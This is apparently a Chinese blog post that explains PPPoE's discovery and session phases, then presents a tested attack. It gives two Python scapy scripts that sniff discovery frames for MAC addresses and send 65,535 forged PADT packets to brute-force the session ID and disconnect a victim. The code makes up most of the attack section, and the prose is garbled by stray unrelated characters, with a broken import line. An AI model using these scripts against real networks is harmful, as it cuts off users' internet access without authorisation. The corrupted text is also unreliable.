PPPoE協(xié)議是一個(gè)非常良好的協(xié)議贮泞,它具有帶寬控制、用戶(hù)認(rèn)證幔烛、防ARP病毒等功能啃擦,基本上可以滿足網(wǎng)絡(luò)人員對(duì)用戶(hù)的管理,多用于adsl撥號(hào)饿悬,許多運(yùn)行商就是通過(guò)pppoe撥號(hào)對(duì)用戶(hù)實(shí)現(xiàn)寬帶接入
本人在使用PPPoE協(xié)議過(guò)程中议惰,對(duì)PPPoE協(xié)議進(jìn)行了學(xué)習(xí),發(fā)現(xiàn)PPPoE有一些不足乡恕,研究如下
PPPoE認(rèn)證分為兩個(gè)階段:
第一階段:發(fā)現(xiàn)階段
- pppoe client廣播發(fā)送PADI數(shù)據(jù)包建立連接
- pppoe server回復(fù)一個(gè)PADO單播幀
- client回復(fù)一個(gè)PADR單播請(qǐng)求,期望進(jìn)行會(huì)話
- pppoe server回復(fù)一個(gè)PADS數(shù)據(jù)包俯萎,同意進(jìn)行下一步協(xié)商(包中攜帶一個(gè)sessionid傲宜,作為用戶(hù)的憑證之一)
第二階斷:會(huì)話階段
雙方使用PPP的LCP協(xié)議協(xié)商鏈路,NCP進(jìn)行用戶(hù)名密碼檢驗(yàn)夫啊,雙方完成通訊
在第一階段pppoe會(huì)話重要依據(jù)就是雙方的mac地址函卒,在和sessionid
在用戶(hù)下線的時(shí)候,用戶(hù)會(huì)發(fā)送PADT數(shù)據(jù)包進(jìn)行協(xié)商撇眯,斷開(kāi)會(huì)話連接
那么問(wèn)題來(lái)了:如果我們冒充服務(wù)器(客戶(hù))报嵌,向客戶(hù)(服務(wù)器)發(fā)送偽造的特定格式的PADT數(shù)據(jù)包虱咧,會(huì)不會(huì)斷開(kāi)會(huì)話?基于這一思路锚国,我利用python的scapy模塊寫(xiě)出了一個(gè)程序腕巡,經(jīng)過(guò)測(cè)試,這個(gè)思路完全正確血筑,可以達(dá)到斷開(kāi)會(huì)話的目的
攻擊的原理:在pppoe client發(fā)送廣播幀發(fā)送discovery時(shí),監(jiān)聽(tīng)網(wǎng)絡(luò)绘沉,得到client mac地址,再對(duì)client發(fā)送一個(gè)PADT數(shù)據(jù)包豺总,包中包含sessionid车伞,這時(shí)就可以使client誤以為server結(jié)束了連接。注意:在發(fā)送病毒幀時(shí)喻喳,雙方應(yīng)該已經(jīng)完成了第一階段的會(huì)話
由于我們不清楚客戶(hù)獲得的sessionid另玖,所以對(duì)于sessionid的取值直接使用了數(shù)據(jù)字典,因此為了破壞連接必須發(fā)送65535個(gè)數(shù)據(jù)包表伦,所需時(shí)間較長(zhǎng)
攻擊的python代碼如下:
這段代碼可以獲得PPPoE服務(wù)器的mac地址
from scapy.all import *
from struct import *
import threading
def packet(code=0x09,len=12,macadd='ff:ff:ff:ff:ff:ff'):
a=Ether()/PPPoE()/Raw()
a.dst=macadd
a.type=0x8863
a.payload.version=1
a.payload.type=1
a.payload.code=code
a.payload.len=len
a.payload.payload.load=pack("12B",0x01,0x01,0,0,0x01,0x03,0,0x04,0x25,0x1d,0,0)
return a
def sniffPPPoE():
c=sniff(filter='pppoed',count=2)
c[1].show()
t = threading.Thread(target=sniffPPPoE)
if __name__ == '__main__':
t.start()
time.sleep(1)
sendp(packet(code=0x09))
這段代碼可以斷開(kāi)連接谦去,src地址需修改,為服務(wù)器mac地址绑榴,可由上面程序獲得
rom scapy.all import *
a=sniff(filter='pppoed',count=1)
time.sleep(3)
for i in range(65535):
c=Ether()/PPPoE()
c.dst=a[0].src
c.src="00:0c:29:1e:c1:3a"
c.type=0x8863
c.payload.code=0xa7
c.payload.sessionid=i
c.payload.len=0
sendp(c)
print "send session:"+str(i)